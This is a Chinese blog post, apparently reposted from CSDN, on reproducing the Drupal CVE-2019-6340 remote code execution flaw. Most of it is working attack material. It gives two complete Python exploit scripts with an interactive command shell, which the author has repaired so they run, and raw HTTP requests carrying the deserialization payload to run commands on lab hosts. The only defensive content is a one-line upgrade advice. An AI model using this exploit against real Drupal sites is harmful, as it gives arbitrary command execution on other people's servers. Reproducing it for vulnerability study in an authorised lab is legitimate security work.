Drupal远程代码执行漏(CVE-2019-6340)

高危

1、漏洞介绍

Drupal官方之前更新了一个非常关键的安全补丁,修复了因为接受的反序列化数据过滤不够严格,在开启REST的Web服务拓展模块的情况下,可能导致PHP代码执行的严重安全。

根据官方公告和自身实践,8.6.x或(<8.6.10)两种情况可能导致问题出现:

RESTful Web Services拓展开启,并且启用了REST资源(默认配置即可),不需要区分GET,POST等方法即可完成攻击。

JSON:API服务模块开启,此服务尚未分析。

2、影响版本

Drupal 8.6.x < 8.6.10 Drupal 8.5.x(或更早版本) < 8.5.11

3、漏洞复现

直接运行python脚本poc即可

import requests
import sys
import re
 
if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+                    https://freeerror.org/d/488                +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url>                                 +')
    print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080   +')
    print('+ VER: Drupal < 8.6.10                                          +')
    print('+      Drupal < 8.5.12                                          +')
    print('+---------------------------------------------------------------+')
    sys.exit()
 
url = sys.argv[1]
cmd = "whoami"
dir = "/node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)
 
payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    'Connection': "close",
    'Content-Type': "application/hal+json",
    'Accept': "*/*",
    'Cache-Control': "no-cache"   
    }
response = requests.request("POST", url_dir, data=payload, headers=headers)
if response.status_code==403 and "u0027access" in response.text :
    print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
else:
    print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
    sys.exit()
 
def do_post(cmd):
    payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%s/rest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
       
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        'Connection': "close",
        'Content-Type': "application/hal+json",
        'Accept': "*/*",
        'Cache-Control': "no-cache"
        }
    global response
    response = requests.request("POST", url_dir, data=payload, headers=headers)
    r = response.text
    s = r.split("}")[1]
    print (s)
 
while 1:
    cmd = input("Shell >>> ")
    cmd_len = len(cmd)
    if cmd == "exit" : exit(0)
    do_post(cmd)

或者

漏洞利用地址:

exphub/cve-2019-6340_cmd.py at master · zhzyker/exphub · GitHub

网上找的POC用了一下,说实话,没一个能用的,可能是因为使用场景不同,因此个人对POC进行了简单修改

总结错误原因:

其实很简单,有两点

第一点:

url = sys.argv[1]

dir = "/node/?_format=hal_json"

url_dir = url + dir

一般而言,我们在输入网址时,会出现如下情况

url  =  http://123.58.236.76:23001/

那么url_dir = http://123.58.236.76:23001//node/?_format=hal_json

其中有 // 对于脚本request请求时,容易发生406错误而导致无法获取内容

第二点:

与第一点类似

\"href\": \"%s/rest/type/shortcut/default\"\r\n

当 url代入时,会出现 http://123.58.236.76:23001//rest/type/shortcut/default

因而导致无法正确进行

原因同上

对POC进行小优化

解决了输入网址的问题:

以上POC在输入时要求 url 必须为 http:// 形式,优化后可以只输入域名即可

如:

对比:

原:

python poc.py http://123.58.236.76:23001/

小优化后:

python poc.py http://123.58.236.76:23001

python poc.py 123.58.236.76:23001

注意:

无论原POC或者小优化后的POC,都不可输入https://,否则会出现错误

import requests
import sys
import re
 
if len(sys.argv)!=2:
    print('+---------------------------------------------------------------+')
    print('+ DES: by zhzyker as https://github.com/zhzyker/exphub          +')
    print('+                    https://freeerror.org/d/488                +')
    print('+---------------------------------------------------------------+')
    print('+ USE: python3 <filename> <url>                                 +')
    print('+ EXP: python3 cve-2019-6340_cmd.py http://freeerror.org:8080   +')
    print('+ VER: Drupal < 8.6.10                                          +')
    print('+      Drupal < 8.5.12                                          +')
    print('+---------------------------------------------------------------+')
    sys.exit()
 
url = sys.argv[1]
if str(sys.argv[1][0]) != 'h':
    url = 'http://' + url
if sys.argv[1][len(sys.argv[1]) - 1] != '/':
    url += '/'
cmd = "whoami"
dir = "node/?_format=hal_json"
url_dir = url + dir
cmd_len = len(cmd)
 
payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%srest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
headers = {
    'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
    'Connection': "close",
    'Content-Type': "application/hal+json",
    'Accept': "*/*",
    'Cache-Control': "no-cache"   
    }
response = requests.request("POST", url_dir, data=payload, headers=headers)
if response.status_code==403 and "u0027access" in response.text :
    print ("[+] Find Drupal CVE-2019-6340 Vuln!\n")
else:
    print ("[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~\n")
    sys.exit()
 
def do_post(cmd):
    payload = "{\r\n  \"link\": [\r\n    {\r\n      \"value\": \"link\",\r\n      \"options\": \"O:24:\\\"GuzzleHttp\\\\Psr7\\\\FnStream\\\":2:{s:33:\\\"\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\\u0000methods\\\";a:1:{s:5:\\\"close\\\";a:2:{i:0;O:23:\\\"GuzzleHttp\\\\HandlerStack\\\":3:{s:32:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000handler\\\";s:%s:\\\"%s\\\";s:30:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000stack\\\";a:1:{i:0;a:1:{i:0;s:6:\\\"system\\\";}}s:31:\\\"\\u0000GuzzleHttp\\\\HandlerStack\\u0000cached\\\";b:0;}i:1;s:7:\\\"resolve\\\";}}s:9:\\\"_fn_close\\\";a:2:{i:0;r:4;i:1;s:7:\\\"resolve\\\";}}\"\r\n    }\r\n  ],\r\n  \"_links\": {\r\n    \"type\": {\r\n      \"href\": \"%srest/type/shortcut/default\"\r\n    }\r\n  }\r\n}" % (cmd_len,cmd,url)
       
    headers = {
        'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0",
        'Connection': "close",
        'Content-Type': "application/hal+json",
        'Accept': "*/*",
        'Cache-Control': "no-cache"
        }
    global response
    response = requests.request("POST", url_dir, data=payload, headers=headers)
    r = response.text
    s = r.split("}")[1]
    print (s)
 
while 1:
    cmd = input("Shell >>> ")
    cmd_len = len(cmd)
    if cmd == "exit" : exit(0)
    do_post(cmd)

或者

访问漏洞环境并用burp抓包,将数据包改为如下payload,并发送

POST /node/?_format=hal_json HTTP/1.1
Host: <漏洞环境的IP:PORT>
User-Agent:  Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Connection:  keep-alive
Content-Type: application/hal+json
Accept:  */*
Cache-Control: no-cache
Content-Length: 636
​
{
  "link": [
    {
      "value": "link",
      "options": "O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:2:\"id\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
    }
  ],
  "_links": {
    "type": {
      "href": "<漏洞环境的IP:PORT>/rest/type/shortcut/default"
    }
  }
}

4、修复建议

升级到最新版

参考

Drupal RCE(CVE-2019-6340)复现踩坑_痴人说梦梦中人的博客-CSDN博客_drupal rce

【CVE-2019-6340】Drupal 8.x REST RCE 远程执行代码漏洞复现_Jaoing的博客-CSDN博客_drupal远程代码执行漏洞复现

示例

1

cmd -->

Python poc1.py http://123.58.236.76:10309/

[-] Not Drupal CVE-2019-6340 Vuln! Good Luck~

2

burp抓包

修改为

POST /node/?_format=hal_json HTTP/1.0
Host: 123.58.236.76:23001
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Content-Type: application/hal+json
Cache-Control: no-cache
Content-Length: 593
​
{
"link":[
{
"value":"link",
"options":"O:24:\"GuzzleHttp\\Psr7\\FnStream\":2:{s:33:\"\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\";a:1:{s:5:\"close\";a:2:{i:0;O:23:\"GuzzleHttp\\HandlerStack\":3:{s:32:\"\u0000GuzzleHttp\\HandlerStack\u0000handler\";s:7:\"ls /tmp\";s:30:\"\u0000GuzzleHttp\\HandlerStack\u0000stack\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:31:\"\u0000GuzzleHttp\\HandlerStack\u0000cached\";b:0;}i:1;s:7:\"resolve\";}}s:9:\"_fn_close\";a:2:{i:0;r:4;i:1;s:7:\"resolve\";}}"
}
],
"_links":{
"type":{
"href":"http://123.58.236.76:23001/rest/type/shortcut/default"
}
}
}

其中注意点

POST /node/?_format=hal_json
​
Content-Type: application/hal+json
​
/rest/type/shortcut/default
​
123.58.236.76:23001
​
s:7:\"ls /tmp\"
其中7随着"内容进行改变
​
http://123.58.236.76:23001/rest/type/shortcut/default
此处23001/rest需要注意,很可能写成23001//rest

猜你喜欢

转载自blog.csdn.net/qq_59975439/article/details/125217324